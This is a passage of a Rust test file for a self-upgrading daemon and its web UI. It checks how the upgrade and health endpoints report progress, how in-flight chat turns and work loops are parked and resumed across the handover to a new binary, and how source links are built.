16933 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
16934 .expect("write magi.toml");
16935 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
16936 for stage in [Stage::Done, Stage::Failed] {
16937 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
16938 let res = fx.post("/api/upgrade", None).await;
16939 assert_eq!(res.status, 200, "{stage:?}");
16940 }
16941 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
16943 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
16944 }
16945
16946 #[tokio::test]
16947 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
16948 let repo = TempDir::new().expect("repo dir");
16964 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
16965 .expect("write magi.toml");
16966 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
16967
16968 let res = fx.post("/api/upgrade", None).await;
16974 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
16975 let body = res.json();
16976 assert!(body["to"].is_null(), "there was no release to move to");
16977 assert!(body["parked"].is_null(), "and nothing was parked");
16978 assert!(
16979 body["detail"]
16980 .as_str()
16981 .unwrap()
16982 .contains("nothing restarted"),
16983 "{body:?}"
16984 );
16985 }
16986
16987 #[tokio::test]
16988 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
16989 let repo = TempDir::new().expect("repo dir");
16994 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
16995 .expect("write magi.toml");
16996 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
16997
16998 let health = fx.get("/api/health").await.json();
16999 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
17000 assert_eq!(
17001 health["update"]["available"], false,
17002 "checking is off, which reads as \"unknown\", not \"none\""
17003 );
17004 assert!(health["update"]["to"].is_null());
17005 assert!(
17006 health["upgrade"].is_null(),
17007 "nothing has ever asked this deck to upgrade"
17008 );
17009 }
17010
17011 #[tokio::test]
17012 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
17013 let fx = Fixture::start().await;
17014 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
17015
17016 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17017 progress.parked_run = Some("20260905-000000-cd51".to_owned());
17018 progress.advance(crate::updater::Stage::Parking);
17019 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17020
17021 let health = fx.get("/api/health").await.json();
17022 assert_eq!(health["upgrade"]["stage"], "parking");
17023 assert_eq!(health["upgrade"]["from"], "0.5.1");
17024 assert_eq!(health["upgrade"]["to"], "0.5.2");
17025 let waiting_on = health["upgrade"]["waiting_on"]
17026 .as_str()
17027 .expect("waiting_on is set while parking a known run");
17028 assert!(waiting_on.contains("cd51"), "{waiting_on}");
17029 assert!(waiting_on.contains("implementing"), "{waiting_on}");
17030 }
17031
17032 #[tokio::test]
17033 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
17034 let fx = Fixture::start().await;
17035 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17036 progress.advance(crate::updater::Stage::Done);
17037 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17038
17039 let health = fx.get("/api/health").await.json();
17040 assert_eq!(health["upgrade"]["stage"], "done");
17041 assert!(
17042 health["upgrade"]["waiting_on"].is_null(),
17043 "nothing to wait on once it is done"
17044 );
17045 }
17046
17047 #[tokio::test]
17048 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
17049 let home = TempDir::new().expect("temp home");
17050 let runs = home.path().join("runs");
17051 std::fs::create_dir_all(&runs).expect("runs dir");
17052 let ui = Ui::new(
17053 Queue::at(home.path().join("queue")),
17054 Questions::at(home.path().join("questions")),
17055 Talks::at(home.path().join("talks")),
17056 runs,
17057 home.path().to_path_buf(),
17058 PathBuf::from("/repo/magi"),
17059 )
17060 .with_launch(launch_idle);
17061 let looping = ui.looping();
17062 let turns = ui.turns();
17063 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17064 .await
17065 .expect("bind loopback");
17066 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17067
17068 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17069 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17070
17071 hand_over(
17072 home.path(),
17073 &looping,
17074 &turns,
17075 &|_: &[String]| Duration::from_secs(5),
17076 served,
17077 |_| Ok(1),
17078 )
17079 .await
17080 .expect("hand over");
17081
17082 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
17083 assert_eq!(
17084 after.stage,
17085 crate::updater::Stage::Restarting,
17086 "hand_over owns the record through parking and up to restarting; \
17087 the successor is what finishes it"
17088 );
17089 }
17090
17091 #[tokio::test]
17094 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
17095 for fail in [false, true] {
17096 let home = TempDir::new().expect("temp home");
17097 let ui = idle_ui(&home);
17098 let looping = ui.looping();
17099 let turns = ui.turns();
17100 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17101 .await
17102 .expect("bind loopback");
17103 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17104 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17105 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17106
17107 let calls = std::sync::atomic::AtomicUsize::new(0);
17108 let outcome = hand_over(
17109 home.path(),
17110 &looping,
17111 &turns,
17112 &|_: &[String]| Duration::from_secs(5),
17113 served,
17114 |_| {
17115 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17116 if fail {
17117 anyhow::bail!("no exec")
17118 } else {
17119 Ok(4242)
17120 }
17121 },
17122 )
17123 .await;
17124 assert_eq!(outcome.is_err(), fail);
17125 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17126
17127 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
17128 .expect("upgrade.log is written under the home");
17129 for step in [
17130 "entered",
17131 "finish_loop",
17132 "listener released",
17133 "starting the successor",
17134 ] {
17135 assert!(log.contains(step), "missing `{step}` in:\n{log}");
17136 }
17137 assert!(
17138 log.contains(if fail { "did not start" } else { "pid 4242" }),
17139 "{log}"
17140 );
17141 }
17142 }
17143
17144 #[tokio::test]
17147 async fn the_handover_signal_wakes_one_waiter_once() {
17148 let signal = Notify::new();
17149 signal.notify_one();
17151 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
17152 .await
17153 .expect("an early signal is still seen");
17154 assert!(
17156 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
17157 .await
17158 .is_err(),
17159 "a consumed signal must not wake a second time"
17160 );
17161 let signal = std::sync::Arc::new(signal);
17163 let waiter = tokio::spawn({
17164 let signal = std::sync::Arc::clone(&signal);
17165 async move { wait_for_handover(&signal).await }
17166 });
17167 tokio::time::sleep(Duration::from_millis(20)).await;
17168 assert!(!waiter.is_finished(), "nothing was signalled yet");
17169 signal.notify_one();
17170 tokio::time::timeout(Duration::from_secs(5), waiter)
17171 .await
17172 .expect("a late signal wakes the waiter")
17173 .expect("join");
17174 }
17175
17176 #[tokio::test]
17177 async fn health_says_how_long_a_handover_has_been_stuck() {
17178 let fx = Fixture::start().await;
17179 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17180 progress.advance(crate::updater::Stage::Replaced);
17181 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
17182 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17183
17184 let health = fx.get("/api/health").await.json();
17185 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
17186 assert!(stuck >= 600, "{stuck}");
17187 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
17188 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
17189 }
17190
17191 #[tokio::test]
17192 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
17193 let home = tempfile::tempdir().expect("temp home");
17194 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17195 progress.advance(crate::updater::Stage::Parking);
17196 crate::updater::write_progress(home.path(), &progress).expect("seed");
17197 let mut again = progress.clone();
17199 again.advance(crate::updater::Stage::Replaced);
17200 crate::updater::write_progress(home.path(), &again).expect("replaced");
17201 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17202 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
17203 let after = crate::updater::read_progress(home.path()).expect("record");
17204 assert_eq!(after.stage, crate::updater::Stage::Parking);
17205 }
17206
17207 #[tokio::test]
17208 async fn health_does_not_call_a_live_parking_wait_stuck() {
17209 let fx = Fixture::start().await;
17210 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17211 progress.parked_run = Some("20260905-000000-cd51".to_owned());
17212 progress.advance(crate::updater::Stage::Parking);
17213 let hours = Duration::from_secs(3 * 3600);
17214 progress.started_at = Timestamp::now() - hours;
17215 progress.updated_at = Timestamp::now() - hours;
17216 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17217 let _lease = crate::updater::LeaseGuard::enter(
17218 fx.home.path(),
17219 Some("20260905-000000-cd51".to_owned()),
17220 );
17221
17222 let health = fx.get("/api/health").await.json();
17223 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
17224 assert!(health["upgrade"]["stuck_kind"].is_null());
17225 assert_eq!(health["upgrade"]["handover_alive"], true);
17226 let waiting_on = health["upgrade"]["waiting_on"]
17227 .as_str()
17228 .expect("waiting_on");
17229 assert!(waiting_on.contains("cd51"), "{waiting_on}");
17230 }
17231
17232 fn idle_ui(home: &TempDir) -> Ui {
17233 let runs = home.path().join("runs");
17234 std::fs::create_dir_all(&runs).expect("runs dir");
17235 Ui::new(
17236 Queue::at(home.path().join("queue")),
17237 Questions::at(home.path().join("questions")),
17238 Talks::at(home.path().join("talks")),
17239 runs,
17240 home.path().to_path_buf(),
17241 PathBuf::from("/repo/magi"),
17242 )
17243 .with_launch(launch_idle)
17244 }
17245
17246 async fn park_fixture(
17247 home: &TempDir,
17248 ) -> (
17249 Ui,
17250 Arc<Mutex<LoopState>>,
17251 Arc<Mutex<TalkTurns>>,
17252 tokio::task::JoinHandle<std::io::Result<()>>,
17253 ) {
17254 let ui = idle_ui(home);
17255 let looping = ui.looping();
17256 let turns = ui.turns();
17257 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17258 .await
17259 .expect("bind loopback");
17260 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
17261 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17262 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17263 (ui, looping, turns, served)
17264 }
17265
17266 #[tokio::test]
17270 async fn hand_over_waits_for_a_running_chat_turn() {
17271 let home = TempDir::new().expect("temp home");
17272 let (ui, looping, turns, served) = park_fixture(&home).await;
17273 let ui = Arc::new(ui);
17274 let id = "20260901-000000-chat";
17275 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17276
17277 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17278 let handover = tokio::spawn({
17279 let home = home.path().to_path_buf();
17280 let turns = Arc::clone(&turns);
17281 let calls = Arc::clone(&calls);
17282 async move {
17283 hand_over(
17284 &home,
17285 &looping,
17286 &turns,
17287 &|_: &[String]| Duration::from_secs(60),
17288 served,
17289 move |_| {
17290 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17291 Ok(1)
17292 },
17293 )
17294 .await
17295 }
17296 });
17297
17298 let waiting = async {
17299 for _ in 0..200 {
17300 if crate::updater::read_progress(home.path())
17301 .is_some_and(|p| p.parked_talks == [id.to_owned()])
17302 {
17303 return;
17304 }
17305 tokio::time::sleep(Duration::from_millis(25)).await;
17306 }
17307 panic!("the park never named the chat turn");
17308 };
17309 waiting.await;
17310 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17311
17312 let refused = ui.begin_talk_turn("20260901-000000-late").err();
17315 assert!(
17316 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17317 "a direct start says an upgrade is in progress"
17318 );
17319 assert!(
17320 ui.begin_queued_talk_turn("20260901-000000-late")
17321 .expect("queued claim")
17322 .is_none()
17323 );
17324 assert!(matches!(
17325 ui.begin_talk_turn_unless_pending("20260901-000000-late")
17326 .expect("start"),
17327 TalkTurnStart::Busy
17328 ));
17329 assert_eq!(turns.lock().unwrap().live.len(), 1);
17330
17331 let progress = crate::updater::read_progress(home.path()).expect("progress");
17333 let view = upgrade_progress_view(&ui, progress);
17334 assert!(
17335 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
17336 "{:?}",
17337 view.waiting_on
17338 );
17339
17340 assert!(!handover.is_finished());
17341 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17342 drop(turn);
17343 handover.await.expect("join").expect("hand over");
17344 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17345 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17346 }
17347
17348 #[tokio::test]
17351 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
17352 let home = TempDir::new().expect("temp home");
17353 let (ui, looping, turns, served) = park_fixture(&home).await;
17354 let ui = Arc::new(ui);
17355 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
17357 lock_or_recover(&looping).live = Some(Live {
17358 stop: daemon::Stop::new(),
17359 handle: tokio::spawn(async move {
17360 let _ = loop_ended.await;
17361 }),
17362 opts: daemon::Opts::default(),
17363 });
17364
17365 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17366 let handover = tokio::spawn({
17367 let home = home.path().to_path_buf();
17368 let turns = Arc::clone(&turns);
17369 let calls = Arc::clone(&calls);
17370 async move {
17371 hand_over(
17372 &home,
17373 &looping,
17374 &turns,
17375 &|_: &[String]| Duration::from_secs(60),
17376 served,
17377 move |_| {
17378 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17379 Ok(1)
17380 },
17381 )
17382 .await
17383 }
17384 });
17385
17386 let reached = async {
17387 for _ in 0..200 {
17388 if crate::updater::read_progress(home.path())
17389 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
17390 {
17391 return;
17392 }
17393 tokio::time::sleep(Duration::from_millis(25)).await;
17394 }
17395 panic!("the hand-over never reached parking");
17396 };
17397 reached.await;
17398
17399 assert!(!turns.lock().unwrap().parking);
17401 let turn = ui
17402 .begin_talk_turn("20260901-000000-chat")
17403 .expect("claim")
17404 .expect("a turn can start while the loop parks");
17405
17406 end_loop.send(()).expect("loop still waiting");
17408 for _ in 0..200 {
17409 if turns.lock().unwrap().parking {
17410 break;
17411 }
17412 tokio::time::sleep(Duration::from_millis(25)).await;
17413 }
17414 assert!(
17415 turns.lock().unwrap().parking,
17416 "closed once the loop is done"
17417 );
17418 let refused = ui.begin_talk_turn("20260901-000000-late").err();
17419 assert!(
17420 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17421 "no turn starts once the loop is done"
17422 );
17423 assert!(
17424 ui.begin_queued_talk_turn("20260901-000000-late")
17425 .expect("queued claim")
17426 .is_none()
17427 );
17428 assert!(!handover.is_finished());
17429 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17430
17431 drop(turn);
17432 handover.await.expect("join").expect("hand over");
17433 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17434 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17435 }
17436
17437 #[tokio::test]
17440 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
17441 let home = TempDir::new().expect("temp home");
17442 let (ui, looping, turns, served) = park_fixture(&home).await;
17443 let id = "20260901-000000-stuk";
17444 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17445
17446 let calls = std::sync::atomic::AtomicUsize::new(0);
17447 hand_over(
17448 home.path(),
17449 &looping,
17450 &turns,
17451 &|_: &[String]| Duration::from_millis(300),
17452 served,
17453 |_| {
17454 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17455 Ok(1)
17456 },
17457 )
17458 .await
17459 .expect("hand over");
17460 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17461
17462 let progress = crate::updater::read_progress(home.path()).expect("progress");
17463 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
17464 assert!(
17465 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
17466 "{:?}",
17467 progress.detail
17468 );
17469 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
17470 assert!(
17471 log.contains("handing over anyway") && log.contains(id),
17472 "{log}"
17473 );
17474 }
17475
17476 #[tokio::test]
17479 async fn drain_loop_starts_no_turn_while_parking() {
17480 let tmp = TempDir::new().expect("tempdir");
17481 let repo = tmp.path().join("repo");
17482 std::fs::create_dir_all(&repo).expect("repo dir");
17483 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
17484 let home = TempDir::new().expect("temp home");
17485 let talks = Talks::at(home.path().join("talks"));
17486 let ui = Ui::new(
17487 Queue::at(home.path().join("queue")),
17488 Questions::at(home.path().join("questions")),
17489 talks.clone(),
17490 home.path().join("runs"),
17491 home.path().to_path_buf(),
17492 repo.clone(),
17493 )
17494 .with_worktrees_root(home.path().join("wt"));
17495 let cfg = config_for(&repo).await.expect("discover config");
17496 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
17497 let id = talk.id.clone();
17498 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
17499 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
17500 let turns = ui.turns();
17501 let parking = ParkingTurns::begin(&turns);
17502
17503 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
17504
17505 assert!(
17506 turns.lock().unwrap().live.is_empty(),
17507 "the slot is given up"
17508 );
17509 let fresh = talks.get(&id).expect("talk");
17510 assert_eq!(fresh.pending, "later", "the draft is still queued");
17511 assert!(fresh.turns.is_empty(), "no turn ran");
17512 drop(parking);
17513 }
17514
17515 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
17517 let looping = ui.looping();
17518 let turns = ui.turns();
17519 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17520 .await
17521 .expect("bind loopback");
17522 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17523 let told = std::sync::Mutex::new(None);
17524 hand_over(
17525 home.path(),
17526 &looping,
17527 &turns,
17528 &|_: &[String]| Duration::from_secs(5),
17529 served,
17530 |resume| {
17531 *told.lock().unwrap() = Some(resume);
17532 Ok(1)
17533 },
17534 )
17535 .await
17536 .expect("hand over");
17537 told.into_inner().unwrap().expect("successor was started")
17538 }
17539
17540 #[tokio::test]
17541 async fn a_running_loop_is_resumed_by_the_successor() {
17542 let home = TempDir::new().expect("temp home");
17543 let ui = idle_ui(&home);
17544 ui.start_loop(None).expect("start");
17545 ui.park_for_upgrade().expect("park");
17546 for _ in 0..500 {
17548 if !ui.loop_view(None).running {
17549 break;
17550 }
17551 tokio::time::sleep(Duration::from_millis(2)).await;
17552 }
17553 assert!(handed_over(&home, ui).await, "a running loop must resume");
17554
17555 let successor = idle_ui(&home);
17556 assert!(!successor.loop_view(None).running);
17557 assert!(successor.resume_after_handover(true));
17558 assert!(successor.loop_view(None).running);
17559 successor.stop_loop(None, false).expect("stop");
17560 }
17561
17562 #[tokio::test]
17563 async fn a_second_upgrade_request_keeps_the_resume_intent() {
17564 let home = TempDir::new().expect("temp home");
17565 let ui = idle_ui(&home);
17566 ui.start_loop(None).expect("start");
17567 ui.park_for_upgrade().expect("first park");
17568 ui.park_for_upgrade().expect("second park");
17569 assert!(handed_over(&home, ui).await);
17570 }
17571
17572 #[tokio::test]
17573 async fn a_stop_during_the_handover_wait_is_honoured() {
17574 let home = TempDir::new().expect("temp home");
17575 let ui = idle_ui(&home);
17576 ui.start_loop(None).expect("start");
17577 ui.park_for_upgrade().expect("park");
17578 ui.stop_loop(None, false).expect("stop");
17579 assert!(!handed_over(&home, ui).await);
17580 }
17581
17582 #[tokio::test]
17583 async fn an_idle_loop_stays_stopped_across_the_handover() {
17584 let home = TempDir::new().expect("temp home");
17585 let ui = idle_ui(&home);
17586 ui.park_for_upgrade().expect("park");
17587 assert!(!handed_over(&home, ui).await);
17588
17589 let successor = idle_ui(&home);
17590 assert!(!successor.resume_after_handover(false));
17591 assert!(!successor.loop_view(None).running);
17592 }
17593
17594 #[tokio::test]
17595 async fn a_loop_the_operator_stopped_is_not_resumed() {
17596 let home = TempDir::new().expect("temp home");
17597 let ui = idle_ui(&home);
17598 ui.start_loop(None).expect("start");
17599 ui.stop_loop(None, false).expect("stop");
17600 ui.park_for_upgrade().expect("park");
17601 assert!(!handed_over(&home, ui).await);
17602 }
17603
17604 #[test]
17605 fn only_an_explicit_one_requests_a_resume() {
17606 assert!(!resume_requested(None));
17607 assert!(!resume_requested(Some("0".into())));
17608 assert!(!resume_requested(Some("".into())));
17609 assert!(resume_requested(Some("1".into())));
17610 }
17611
17612 #[test]
17613 fn the_upgrade_button_arms_before_it_restarts_anything() {
17614 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
17617 assert!(APP_JS.contains("Replace the binary and restart?"));
17618 assert!(APP_JS.contains("function confirmed("));
17619 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
17624 assert!(
17628 APP_JS.contains("Parking, then restarting"),
17629 "the button says what it is waiting for"
17630 );
17631 assert!(APP_JS.contains("if (!out.to)"));
17634 }
17635
17636 #[test]
17637 fn stopping_the_loop_arms_but_starting_does_not() {
17638 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
17641 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
17642 assert!(APP_JS.contains("confirmed(button, question)"));
17643 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
17646 assert!(APP_JS.contains("const label = btn.textContent;"));
17647 assert!(!APP_JS.contains("Neither direction is guarded"));
17648 }
17649
17650 #[test]
17651 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
17652 assert!(
17653 APP_JS.contains("state.health.version"),
17654 "the operator wants to know what is running even with nothing newer"
17655 );
17656 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
17657 }
17658
17659 #[test]
17660 fn the_upgrade_button_names_its_destination() {
17661 assert!(
17662 APP_JS.contains("`Update to ${update.to}`"),
17663 "pressing the button should not be a surprise about what it moves to"
17664 );
17665 }
17666
17667 #[test]
17668 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
17669 for stage in ["downloading", "replaced", "parking", "restarting"] {
17670 assert!(
17671 APP_JS.contains(&format!("\"{stage}\"")),
17672 "the phone must be able to tell {stage} apart from the others"
17673 );
17674 }
17675 assert!(APP_JS.contains(".waiting_on"));
17676 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
17681 assert!(APP_JS.contains("reconnects on its own"));
17682 }
17683
17684 #[test]
17685 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
17686 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
17695 ..APP_JS.find("function upgrade(").expect("upgrade")];
17696 assert!(
17697 !body.contains(
17698 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
17699 ),
17700 "a failed upgrade must not take the whole strip over the way it used to"
17701 );
17702 assert!(
17703 body.contains("upgradeFailNote"),
17704 "the failure has to reach the loop's own note instead"
17705 );
17706 assert_eq!(
17710 body.matches("upgradeFailNote].filter(Boolean).join")
17711 .count(),
17712 2,
17713 "both loop-why writers (quiet and control) must fold the note in"
17714 );
17715 }
17716
17717 #[test]
17718 fn an_overdue_upgrade_eventually_asks_for_a_human() {
17719 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
17722 assert!(APP_JS.contains("function upgradeOverdue("));
17723 }
17724
17725 #[test]
17726 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
17727 assert!(
17728 APP_JS.contains("Updated to ${upgradeInfo.to"),
17729 "the operator who asked for the restart wants to know it worked"
17730 );
17731 }
17732
17733 #[test]
17734 fn an_error_is_visible_from_where_the_button_is() {
17735 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
17740 ..APP_CSS.find(".alert-text").expect(".alert-text")];
17741 assert!(
17742 alert.contains("position: fixed"),
17743 "an error about the thing under your thumb has to be visible from \
17744 where your thumb is: {alert}"
17745 );
17746 assert!(
17747 alert.contains("z-index: 25"),
17748 "above the dock (20) and the run-actions FAB (15), so neither \
17749 buries it: {alert}"
17750 );
17751 assert!(
17752 alert.contains("var(--tap)"),
17753 "and clear of the dock and the home indicator: {alert}"
17754 );
17755 assert!(
17758 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
17759 "the FAB's column stays free: {alert}"
17760 );
17761 }
17762
17763 #[tokio::test]
17764 async fn an_older_attempt_says_what_replaced_it() {
17765 let fx = Fixture::start().await;
17766 let q = fx.queue();
17767 let runs = fx.runs();
17768 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17769 write_run(&runs, first, RunStatus::Stalled);
17770 write_run(&runs, second, RunStatus::Blocked);
17771
17772 let mut t = Task::new(
17773 "one task".to_owned(),
17774 "do it".to_owned(),
17775 PathBuf::from("/repo"),
17776 Source::Human,
17777 );
17778 t.runs = vec![first.to_owned(), second.to_owned()];
17779 q.put(&mut t).expect("put");
17780
17781 let rows = fx.get("/api/runs").await.json();
17785 let by = |short: &str| -> Value {
17786 rows.as_array()
17787 .unwrap()
17788 .iter()
17789 .find(|r| r["short"] == short)
17790 .cloned()
17791 .unwrap_or(Value::Null)
17792 };
17793 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
17794 assert!(
17795 by("bbbb")["superseded_by"].is_null(),
17796 "the latest attempt is not superseded by anything"
17797 );
17798 assert!(APP_JS.contains("run.superseded_by"));
17800 assert!(APP_JS.contains("Superseded by"));
17801 }
17802
17803 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
17804 let mut t = Task::new(
17805 "one task".to_owned(),
17806 "do it".to_owned(),
17807 PathBuf::from("/repo"),
17808 Source::Human,
17809 );
17810 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17811 t.status = status;
17812 t
17813 }
17814
17815 #[test]
17816 fn source_link_picks_the_page_that_filed_the_task() {
17817 let agent = |node: &str| Source::Agent {
17818 run: "20260904-014455-ab12".to_owned(),
17819 node: node.to_owned(),
17820 };
17821 let chat = source_link(&agent("chat")).expect("chat link");
17822 assert_eq!(chat.kind, "chat");
17823 assert_eq!(chat.id, "20260904-014455-ab12");
17824 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
17825 let run = source_link(&agent("implement")).expect("run link");
17826 assert_eq!(
17827 (run.kind, run.href.as_str()),
17828 ("run", "#/runs/20260904-014455-ab12")
17829 );
17830 assert_eq!(source_link(&Source::Human), None);
17831 assert_eq!(
17832 source_link(&Source::Issue {
17833 number: 3,
17834 repo: "o/r".to_owned()
17835 }),
17836 None
17837 );
17838 let odd = source_link(&Source::Agent {
17839 run: "a b/c".to_owned(),
17840 node: "chat".to_owned(),
17841 })
17842 .expect("link");
17843 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
17844 }
17845
17846 #[test]
17847 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
17848 assert!(
17849 !APP_JS.contains("src.node === \"chat\""),
17850 "inline href rule is back"
17851 );
17852 assert!(
17853 APP_JS.matches("sourceLinkOf(").count() >= 4,
17854 "helper must serve every page"
17855 );
17856 assert!(
17857 APP_JS.matches("openChatLink(").count() >= 3,
17858 "the run page still needs its explicit chat link"
17859 );
17860 assert!(
17861 !APP_JS.contains("const openChat = el("),
17862 "the Queue card duplicates its source label link again"
17863 );
17864 assert!(
17865 APP_JS.contains("metaKids.push(link ? el(\"a\""),
17866 "the task page must link a chat source label too"
17867 );
17868 }
17869
17870 #[test]
17871 fn task_ref_carries_the_source_link_for_a_chat_task() {
17872 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17873 t.source = Source::Agent {
17874 run: "20260904-014455-ab12".to_owned(),
17875 node: "chat".to_owned(),
17876 };
17877 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
17878 let v = serde_json::to_value(&out).expect("json");
17879 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
17880 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
17881 assert_eq!(v["source_label"], t.source.label());
17882
17883 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17884 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
17885 .expect("json");
17886 assert!(v["source_link"].is_null(), "{v}");
17887 }
17888
17889 #[test]
17890 fn task_view_serializes_source_link() {
17891 let mut t = Task::new(
17892 "t".to_owned(),
17893 "t".to_owned(),
17894 PathBuf::from("/repo"),
17895 Source::Agent {
17896 run: "20260901-000000-aaaa".to_owned(),
17897 node: "implement".to_owned(),
17898 },
17899 );
17900 t.runs.clear();
17901 let v = serde_json::to_value(TaskView::from(t)).expect("json");
17902 assert_eq!(v["source_link"]["kind"], "run", "{v}");
17903 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
